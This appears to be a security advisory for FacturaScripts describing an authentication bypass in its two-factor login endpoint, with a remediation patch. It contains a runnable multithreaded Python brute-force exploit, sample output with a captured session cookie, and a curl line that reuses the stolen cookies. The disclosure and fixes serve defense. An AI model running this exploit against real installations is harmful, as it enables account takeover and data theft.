Authentication bypass in FacturaScripts: /login?action=two-factor-validation accepts brute-forceable TOTP without password or CSRF protection

Summary

Core/Controller/Login.php::twoFactorValidationAction() accepts an
unauthenticated POST containing only fsNick and fsTwoFactorCode. If the
TOTP value matches, the server issues a full fsNick + fsLogkey session
cookie pair. The handler:

1. Does not verify the password — the user is not required to have just
   completed loginAction.
2. Does not call validateFormToken() — no CSRF token is required (every
   other action handler in the same file does call it).
3. Does not call userHasManyIncidents() before processing — loginAction
   and changePasswordAction both check this guard before doing work; the
   2FA handler only writes to the incident list after a failure, and the
   incident list is consulted by loginAction / changePasswordAction but
   not by the 2FA handler itself. The endpoint therefore has no
   rate-limiting at all.

Combined with TwoFactorManager::VERIFICATION_WINDOW = 8 (google2fa default
is 1), 17 distinct six-digit codes are valid simultaneously and each remains
valid for ~4 minutes. The expected number of guesses to land a valid code is

N ≈ ln(0.5) / ln(1 − 17 / 10⁶) ≈ 40 800 attempts (50% success)

On a default LAMP install a single-laptop attacker sustains ~400 RPS from
one source IP — a few minutes per account.

The vulnerability gives complete account takeover of any 2FA-enabled
user to any unauthenticated network attacker who knows the target's nick.
Admin nicks are typically public information (admin, the company name,
the person's initials).

Severity

CVSS 4.0 base score: 9.3 — Critical

Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

Threat metrics:

• Exploit Maturity (E): Attacked (A) — public PoC included below, runs out of the box.

Affected component

• File: Core/Controller/Login.php
• Method: twoFactorValidationAction() (lines 317–328 in the repository at commit 7392b489b, master branch as of 2026-05-13).
• Related: Core/Lib/TwoFactorManager.php:30 (VERIFICATION_WINDOW = 8).

Vulnerable code:

protected function twoFactorValidationAction(Request $request): void
{
    $userName = $request->input('fsNick');
    $user = new User();
    if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {
        Tools::log()->warning('two-factor-code-invalid');
        $this->saveIncident(Session::getClientIp(), $userName);
        return;
    }

    $this->updateUserAndRedirect($user, Session::getClientIp(), $request);
}

Compare with loginAction in the same file, which calls
validateFormToken() (line 275) and userHasManyIncidents() (line 287)
before doing any work. The 2FA handler does neither.

Proof of concept

1. Brute force when only the victim's nick is known

This requires no prior
knowledge beyond the target's nick. Because the 2FA endpoint has no
rate-limiting and VERIFICATION_WINDOW=8 keeps ~17 codes valid at once,
random guessing finds a valid code in seconds to minutes from a single IP.

poc_2fa_brute.py:

#!/usr/bin/env python3
"""
PoC: brute-force the 2FA endpoint.
Required: pip install requests
"""
import os, sys, time, random, threading, requests

BASE      = os.environ.get("BASE",      "http://localhost:9999")
NICK      = os.environ.get("NICK",      "admin")
THREADS   = int(os.environ.get("THREADS",   "32"))
MAX_TRIES = int(os.environ.get("MAX_TRIES", "200000"))

hit = threading.Event()
attempt_count = [0]
lock = threading.Lock()
start = time.time()
result = {}

def worker(tid: int) -> None:
    s = requests.Session()
    while not hit.is_set():
        with lock:
            n = attempt_count[0]
            if n >= MAX_TRIES:
                return
            attempt_count[0] += 1
        code = f"{random.randint(0, 999999):06d}"
        try:
            r = s.post(f"{BASE}/login",
                       data={"action": "two-factor-validation",
                             "fsNick":  NICK,
                             "fsTwoFactorCode": code},
                       allow_redirects=False, timeout=5)
        except requests.RequestException:
            continue
        sc = r.headers.get("Set-Cookie", "")
        if r.status_code == 302 and "fsLogkey" in sc:
            with lock:
                if hit.is_set():
                    return
                hit.set()
                result["code"]    = code
                result["n"]       = n
                result["cookies"] = {c.name: c.value for c in r.cookies}
            return

def main() -> int:
    print(f"[*] target={BASE}  nick={NICK}  threads={THREADS}")
    threads = [threading.Thread(target=worker, args=(i,), daemon=True)
               for i in range(THREADS)]
    for t in threads: t.start()
    while not hit.is_set() and attempt_count[0] < MAX_TRIES:
        time.sleep(2)
        elapsed = time.time() - start
        print(f"  [{elapsed:5.1f}s] attempts={attempt_count[0]:>7d}  "
              f"rps={attempt_count[0]/max(elapsed,1):.0f}", flush=True)
    for t in threads: t.join()
    elapsed = time.time() - start
    if hit.is_set():
        print(f"\n[+] FOUND code={result['code']} after {result['n']:,} "
              f"attempts in {elapsed:.1f}s")
        cookie_hdr = "; ".join(f"{k}={v}" for k, v in result["cookies"].items())
        print(f"[+] Cookies: {cookie_hdr}")
        print(f"\n    curl --cookie '{cookie_hdr}' {BASE}/ListUser")
        return 0
    print(f"[-] {attempt_count[0]:,} attempts in {elapsed:.1f}s, no hit")
    return 1

if __name__ == "__main__":
    sys.exit(main())

Observed result against the same install (victim user has 2FA enabled,
attacker knows only the nick victim):

[*] target=http://localhost:9999  nick=victim  threads=32
  [  2.2s] attempts=   1094  rps=  493
  [ 24.4s] attempts=  11535  rps=  473
  [ 50.0s] attempts=  23420  rps=  468
  [100.7s] attempts=  41247  rps=  410
  [144.9s] attempts=  55418  rps=  383

[+] FOUND code=055473 after 55,773 attempts in 146.0s
[+] Cookies: fsNick=victim; fsLogkey=47qZDmjcHaS2z2pLsqKWsKbb8vlGfZaYEiUUfcvWHlDXSZlI9LFg8ux7EYX1fzTkeNSgM5ASQ7s5ohr8ROAclvlK1GCxACia21N; fsLang=en_EN

A second run terminated in 24.6 s after 11 569 attempts. Both runs used a
single source IP with no proxy rotation, no HTTP/2, no parallel hosts.

Impact

For each 2FA-enabled user (including admins):

• Confidentiality: full read access to anything the victim can see —
  invoices, customer data, suppliers, accounting ledgers, attached files,
  user PII, API keys, plugin configuration.
• Integrity: full write access — create/modify/delete records, change
  permissions, issue new API keys, upload plugins, install code (admin).
• Availability: targeted account lockout DoS — generating six failed
  2FA attempts (≪ 1 s of brute-force noise) pushes the per-user incident
  counter past MAX_INCIDENT_COUNT = 6, blocking the legitimate user from
  loginAction for 10 minutes. Repeatable indefinitely.

The vulnerability defeats the entire purpose of 2FA in FacturaScripts:
enabling 2FA on an account today is strictly weaker than not enabling
it, because it adds an unauthenticated, brute-forceable login path that
wasn't present before.

Remediation

Four independent fixes are required; each closes a distinct gap and any
one alone is insufficient.

1. Require evidence the user just completed the password step. In
   loginAction, after verifyPassword succeeds and 2FA is required,
   write a short-lived nonce keyed by (client_ip, user_nick) to the
   shared cache (e.g. Cache::set("2fa-pending-{ip}-{nick}", $nonce, ttl=300)). twoFactorValidationAction must read, validate, and
   delete that nonce before calling verifyTwoFactorCode. Without the
   nonce, return immediately.

2. Call validateFormToken($request) at the top of
   twoFactorValidationAction. Every other action handler in the
   controller does this; the 2FA handler should too. Eliminates
   drive-by CSRF submissions.

3. Call userHasManyIncidents(Session::getClientIp(), $userName)
   before doing any work in twoFactorValidationAction, and bail
   out if the threshold is exceeded. This is the missing rate-limit
   pre-check.

4. Reduce TwoFactorManager::VERIFICATION_WINDOW from 8 to 1.
   The google2fa default is 1 (±30 s). A window of 8 multiplies the
   brute-force success rate by 17× for no legitimate reason — TOTP
   apps and the server clock are typically synchronised within a
   single 30-second step.

Suggested patch (illustrative):

// Core/Controller/Login.php
protected function twoFactorValidationAction(Request $request): void
{
    if (false === $this->validateFormToken($request)) {                       // fix 2
        return;
    }
    $userName = $request->input('fsNick');
    if ($this->userHasManyIncidents(Session::getClientIp(), $userName)) {     // fix 3
        Tools::log()->warning('ip-banned');
        return;
    }
    $nonceKey = '2fa-pending-' . Session::getClientIp() . '-' . $userName;
    if (false === Cache::get($nonceKey)) {                                    // fix 1
        Tools::log()->warning('two-factor-no-pending-login');
        $this->saveIncident(Session::getClientIp(), $userName);
        return;
    }
    Cache::delete($nonceKey);

    $user = new User();
    if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {
        Tools::log()->warning('two-factor-code-invalid');
        $this->saveIncident(Session::getClientIp(), $userName);
        return;
    }
    $this->updateUserAndRedirect($user, Session::getClientIp(), $request);
}

// Core/Lib/TwoFactorManager.php
private const VERIFICATION_WINDOW = 1; // fix 4 — was 8

loginAction then needs the matching nonce write where it currently
sets $this->two_factor_user:

if ($user->two_factor_enabled) {
    Cache::set('2fa-pending-' . Session::getClientIp() . '-' . $user->nick,
               bin2hex(random_bytes(16)), 300);
    $this->two_factor_user = $user->nick;
    $this->template = 'Login/TwoFactor.html.twig';
    return;
}

Reproduction

Tested on a clean install built from master at commit 7392b489b:

# brute force (only nick known) — secret on the server can be anything
NICK=victim THREADS=32 .venv/bin/python poc_2fa_brute.py

References

• GHSA-c67f-gmxw-mj93
• https://github.com/NeoRazorX/facturascripts/releases/tag/v2026.3